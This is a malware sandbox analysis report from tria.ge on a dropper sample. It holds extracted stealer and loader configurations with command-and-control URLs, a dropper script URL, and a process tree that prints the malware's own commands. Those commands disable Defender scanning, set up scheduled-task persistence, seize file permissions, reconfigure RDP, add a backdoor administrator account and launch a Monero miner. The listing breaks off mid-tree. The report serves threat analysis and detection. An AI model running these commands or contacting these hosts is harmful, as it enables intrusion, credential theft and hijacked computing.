Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

24/01/2022, 15:55

220124-tcsn7afch2 10

11/10/2021, 17:18

211011-vvdteshga6 10

Analysis

  • max time kernel
    119s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    11/10/2021, 17:18

General

  • Target

    c10ebeb0d29119a2a7177f857318d012.exe

  • Size

    337KB

  • MD5

    c10ebeb0d29119a2a7177f857318d012

  • SHA1

    687672a6b2001376c192991c1b5237cf6467f393

  • SHA256

    4eb02a90be27af84c49a2f62da8e179e5117d82db4e25c7a2c80e2954583bdb3

  • SHA512

    447e1010864262bc642613b1f597507689d92353930a398bd85a24e2728ea7eb6ad75c413943966a5828422b380de2eff69725c0e5468125e2d9fa35a16df292

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://linavanandr11.club/

http://iselaharty12.club/

http://giovaninardo13.club/

http://zayneliann14.club/

http://zorinosali15.club/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Version

1.8.2

Botnet

fbe5e97e7d069407605ee9138022aa82166657e6

Attributes
  • url4cnc

    http://telemirror.top/stevuitreen

    http://tgmirror.top/stevuitreen

    http://telegatt.top/stevuitreen

    http://telegka.top/stevuitreen

    http://telegin.top/stevuitreen

    https://t.me/stevuitreen

rc4.plain
rc4.plain

Extracted

Family

vidar

Version

41.3

Botnet

1033

C2

https://mas.to/@oleg98

Attributes
  • profile_id

    1033

Extracted

Family

raccoon

Version

1.8.2

Botnet

8d179b9e611eee525425544ee8c6d77360ab7cd9

Attributes
  • url4cnc

    http://teletop.top/agrybirdsgamerept

    http://teleta.top/agrybirdsgamerept

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

@Nastya_ero

C2

45.14.49.66:21899

Extracted

Family

raccoon

Version

1.8.2

Botnet

98fe4f3d1d73378234d0a82f16cb8ad29d2d3e75

Attributes
  • url4cnc

    http://telemirror.top/kaba4ello

    http://tgmirror.top/kaba4ello

    http://telegatt.top/kaba4ello

    http://telegka.top/kaba4ello

    http://telegin.top/kaba4ello

    https://t.me/kaba4ello

rc4.plain
rc4.plain

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Arkei Stealer Payload 4 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 20 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • VMProtect packed file 5 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 41 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses Microsoft Outlook accounts 1 TTPs 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 16 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c10ebeb0d29119a2a7177f857318d012.exe
    "C:\Users\Admin\AppData\Local\Temp\c10ebeb0d29119a2a7177f857318d012.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1144
    • C:\Users\Admin\AppData\Local\Temp\c10ebeb0d29119a2a7177f857318d012.exe
      "C:\Users\Admin\AppData\Local\Temp\c10ebeb0d29119a2a7177f857318d012.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1524
  • C:\Users\Admin\AppData\Local\Temp\2443.exe
    C:\Users\Admin\AppData\Local\Temp\2443.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Accesses Microsoft Outlook accounts
    • Accesses Microsoft Outlook profiles
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2443.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Windows\SysWOW64\timeout.exe
        timeout /T 10 /NOBREAK
        3⤵
        • Delays execution with timeout.exe
        PID:1844
  • C:\Users\Admin\AppData\Local\Temp\29DF.exe
    C:\Users\Admin\AppData\Local\Temp\29DF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 876 -s 888
      2⤵
      • Loads dropped DLL
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:1720
  • C:\Users\Admin\AppData\Local\Temp\34B9.exe
    C:\Users\Admin\AppData\Local\Temp\34B9.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:848
  • C:\Users\Admin\AppData\Local\Temp\3B2F.exe
    C:\Users\Admin\AppData\Local\Temp\3B2F.exe
    1⤵
    • Executes dropped EXE
    PID:1280
  • C:\Users\Admin\AppData\Local\Temp\404F.exe
    C:\Users\Admin\AppData\Local\Temp\404F.exe
    1⤵
    • Executes dropped EXE
    PID:1796
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\404F.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2412
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Local\Temp\services32.exe"
        3⤵
          PID:2676
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Local\Temp\services32.exe"
            4⤵
            • Creates scheduled task(s)
            PID:2700
        • C:\Windows\System32\cmd.exe
          "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services32.exe"
          3⤵
          • Loads dropped DLL
          PID:1852
          • C:\Users\Admin\AppData\Local\Temp\services32.exe
            C:\Users\Admin\AppData\Local\Temp\services32.exe
            4⤵
            • Executes dropped EXE
            PID:456
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services32.exe"
              5⤵
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1180
              • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
                6⤵
                • Executes dropped EXE
                PID:2836
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\\conhost.exe" "/sihost32"
                  7⤵
                    PID:2492
      • C:\Users\Admin\AppData\Local\Temp\53B1.exe
        C:\Users\Admin\AppData\Local\Temp\53B1.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
          2⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:696
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\06ipggcq.cmdline"
            3⤵
              PID:2144
              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7EA3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7E92.tmp"
                4⤵
                  PID:2164
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2316
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2732
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2880
              • C:\Windows\system32\takeown.exe
                "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2384
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2396
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                • Suspicious use of AdjustPrivilegeToken
                PID:2712
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2688
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2756
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2820
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2836
              • C:\Windows\system32\icacls.exe
                "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
                3⤵
                • Possible privilege escalation attempt
                • Modifies file permissions
                PID:2848
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                3⤵
                  PID:2120
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                  3⤵
                  • Modifies registry key
                  PID:2764
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                  3⤵
                    PID:2772
                  • C:\Windows\system32\net.exe
                    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    3⤵
                      PID:2888
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                        4⤵
                          PID:2920
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                        3⤵
                          PID:2976
                          • C:\Windows\system32\cmd.exe
                            cmd /c net start rdpdr
                            4⤵
                              PID:2916
                              • C:\Windows\system32\net.exe
                                net start rdpdr
                                5⤵
                                  PID:2928
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 start rdpdr
                                    6⤵
                                      PID:2936
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                                3⤵
                                  PID:2892
                                  • C:\Windows\system32\cmd.exe
                                    cmd /c net start TermService
                                    4⤵
                                      PID:3028
                                      • C:\Windows\system32\net.exe
                                        net start TermService
                                        5⤵
                                          PID:2608
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 start TermService
                                            6⤵
                                              PID:2448
                                      • C:\Windows\system32\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                        3⤵
                                          PID:2532
                                        • C:\Windows\system32\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                          3⤵
                                            PID:1616
                                      • C:\Users\Admin\AppData\Local\Temp\6879.exe
                                        C:\Users\Admin\AppData\Local\Temp\6879.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Checks BIOS information in registry
                                        • Loads dropped DLL
                                        • Checks whether UAC is enabled
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Checks processor information in registry
                                        • Suspicious use of WriteProcessMemory
                                        PID:1684
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6879.exe" & exit
                                          2⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:2064
                                          • C:\Windows\SysWOW64\timeout.exe
                                            timeout /t 5
                                            3⤵
                                            • Delays execution with timeout.exe
                                            PID:2104
                                      • C:\Users\Admin\AppData\Local\Temp\6C80.exe
                                        C:\Users\Admin\AppData\Local\Temp\6C80.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:472
                                      • C:\Users\Admin\AppData\Local\Temp\76AE.exe
                                        C:\Users\Admin\AppData\Local\Temp\76AE.exe
                                        1⤵
                                        • Executes dropped EXE
                                        PID:1784
                                        • C:\Windows\System32\conhost.exe
                                          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\76AE.exe"
                                          2⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3020
                                          • C:\Windows\System32\cmd.exe
                                            "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                                            3⤵
                                              PID:2112
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                                                4⤵
                                                • Creates scheduled task(s)
                                                PID:2152
                                            • C:\Windows\System32\cmd.exe
                                              "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                                              3⤵
                                              • Loads dropped DLL
                                              PID:2624
                                              • C:\Users\Admin\AppData\Local\Temp\services64.exe
                                                C:\Users\Admin\AppData\Local\Temp\services64.exe
                                                4⤵
                                                • Executes dropped EXE
                                                PID:2656
                                                • C:\Windows\System32\conhost.exe
                                                  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                                                  5⤵
                                                  • Loads dropped DLL
                                                  • Suspicious use of SetThreadContext
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2860
                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:3004
                                                    • C:\Windows\System32\conhost.exe
                                                      "C:\Windows\System32\conhost.exe" "/sihost64"
                                                      7⤵
                                                        PID:1748
                                                    • C:\Windows\explorer.exe
                                                      C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=gulf.moneroocean.stream:10128 --user=43m2K5awHfSB4ZtTTJepVVjkWDTnExdqDaHKwv9thKTK9dZAJwzUACebcQnZqMPRLS4keNBn7ZVNdUxtCTCPAx7D43jcvdC --pass= --cpu-max-threads-hint=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
                                                      6⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3064
                                          • C:\Users\Admin\AppData\Local\Temp\7FF2.exe
                                            C:\Users\Admin\AppData\Local\Temp\7FF2.exe
                                            1⤵
                                            • Executes dropped EXE
                                            • Checks BIOS information in registry
                                            • Loads dropped DLL
                                            • Checks whether UAC is enabled
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2200
                                            • C:\Users\Admin\AppData\Local\Temp\mine.exe
                                              "C:\Users\Admin\AppData\Local\Temp\mine.exe"
                                              2⤵
                                              • Executes dropped EXE
                                              PID:2472
                                              • C:\Windows\System32\conhost.exe
                                                "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mine.exe"
                                                3⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2204
                                                • C:\Windows\System32\cmd.exe
                                                  "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                                  4⤵
                                                    PID:544
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                                      5⤵
                                                      • Drops file in System32 directory
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2716
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                                      5⤵
                                                      • Drops file in System32 directory
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2384
                                                  • C:\Windows\System32\cmd.exe
                                                    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
                                                    4⤵
                                                      PID:2468
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
                                                        5⤵
                                                        • Creates scheduled task(s)
                                                        PID:2576
                                                    • C:\Windows\System32\cmd.exe
                                                      "cmd" cmd /c "C:\Users\Admin\services32.exe"
                                                      4⤵
                                                      • Loads dropped DLL
                                                      PID:2996
                                                      • C:\Users\Admin\services32.exe
                                                        C:\Users\Admin\services32.exe
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:1840
                                                        • C:\Windows\System32\conhost.exe
                                                          "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
                                                          6⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3028
                                                          • C:\Windows\System32\cmd.exe
                                                            "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                                            7⤵
                                                              PID:2724
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                                                8⤵
                                                                  PID:2340
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                                                  8⤵
                                                                    PID:3032
                                                                • C:\Windows\System32\cmd.exe
                                                                  "cmd" cmd /c taskkill /f /PID "2492"
                                                                  7⤵
                                                                    PID:2512
                                                                    • C:\Windows\system32\taskkill.exe
                                                                      taskkill /f /PID "2492"
                                                                      8⤵
                                                                      • Kills process with taskkill
                                                                      PID:2748
                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
                                                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
                                                                    7⤵
                                                                      PID:1504
                                                                      • C:\Windows\System32\conhost.exe
                                                                        "C:\Windows\System32\\conhost.exe" "/sihost32"
                                                                        8⤵
                                                                          PID:2308
                                                            • C:\Users\Admin\AppData\Local\Temp\2soft.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\2soft.exe"
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:2552
                                                              • C:\Windows\System32\conhost.exe
                                                                "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\2soft.exe"
                                                                3⤵
                                                                  PID:2100
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "cmd" cmd /c taskkill /f /PID "1748"
                                                                    4⤵
                                                                      PID:988
                                                                      • C:\Windows\system32\taskkill.exe
                                                                        taskkill /f /PID "1748"
                                                                        5⤵
                                                                        • Kills process with taskkill
                                                                        PID:2072
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                                                                      4⤵
                                                                        PID:2976
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                                                                          5⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:2760
                                                                • C:\Users\Admin\AppData\Local\Temp\86D6.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\86D6.exe
                                                                  1⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Accesses Microsoft Outlook accounts
                                                                  • Accesses Microsoft Outlook profiles
                                                                  • outlook_office_path
                                                                  • outlook_win_path
                                                                  PID:2288
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\86D6.exe"
                                                                    2⤵
                                                                      PID:3008
                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                        timeout /T 10 /NOBREAK
                                                                        3⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:3056
                                                                  • C:\Users\Admin\AppData\Local\Temp\9374.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\9374.exe
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    • Checks BIOS information in registry
                                                                    • Checks whether UAC is enabled
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2508
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
                                                                    1⤵
                                                                      PID:2616
                                                                      • C:\Windows\system32\net.exe
                                                                        net.exe user WgaUtilAcc Ghasar4f5 /del
                                                                        2⤵
                                                                          PID:2968
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
                                                                            3⤵
                                                                              PID:3052
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd /C net.exe user WgaUtilAcc 79KZSCaz /add
                                                                          1⤵
                                                                            PID:2060
                                                                            • C:\Windows\system32\net.exe
                                                                              net.exe user WgaUtilAcc 79KZSCaz /add
                                                                              2⤵
                                                                                PID:2140
                                                                                • C:\Windows\system32\net1.exe
                                                                                  C:\Windows\system32\net1 user WgaUtilAcc 79KZSCaz /add
                                                                                  3⤵
                                                                                    PID:2160
                                                                              • C:\Windows\System32\cmd.exe
                                                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                                                1⤵
                                                                                  PID:2796
                                                                                  • C:\Windows\system32\net.exe
                                                                                    net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                                                    2⤵
                                                                                      PID:2192
                                                                                      • C:\Windows\system32\net1.exe
                                                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                                                        3⤵
                                                                                          PID:2232
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                                                      1⤵
                                                                                        PID:2312
                                                                                        • C:\Windows\system32\net.exe
                                                                                          net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                                                          2⤵
                                                                                            PID:2032
                                                                                            • C:\Windows\system32\net1.exe
                                                                                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                                                              3⤵
                                                                                                PID:2676
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                                            1⤵
                                                                                              PID:2664
                                                                                              • C:\Windows\system32\net.exe
                                                                                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                                                2⤵
                                                                                                  PID:2652
                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                                                    3⤵
                                                                                                      PID:2256
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  cmd /C net.exe user WgaUtilAcc 79KZSCaz
                                                                                                  1⤵
                                                                                                    PID:1124
                                                                                                    • C:\Windows\system32\net.exe
                                                                                                      net.exe user WgaUtilAcc 79KZSCaz
                                                                                                      2⤵
                                                                                                        PID:1776
                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                          C:\Windows\system32\net1 user WgaUtilAcc 79KZSCaz
                                                                                                          3⤵
                                                                                                            PID:2984
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        cmd.exe /C wmic path win32_VideoController get name
                                                                                                        1⤵
                                                                                                          PID:2080
                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                            wmic path win32_VideoController get name
                                                                                                            2⤵
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1032
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          cmd.exe /C wmic CPU get NAME
                                                                                                          1⤵
                                                                                                            PID:3056
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic CPU get NAME
                                                                                                              2⤵
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2344
                                                                                                          • C:\Windows\System32\cmd.exe
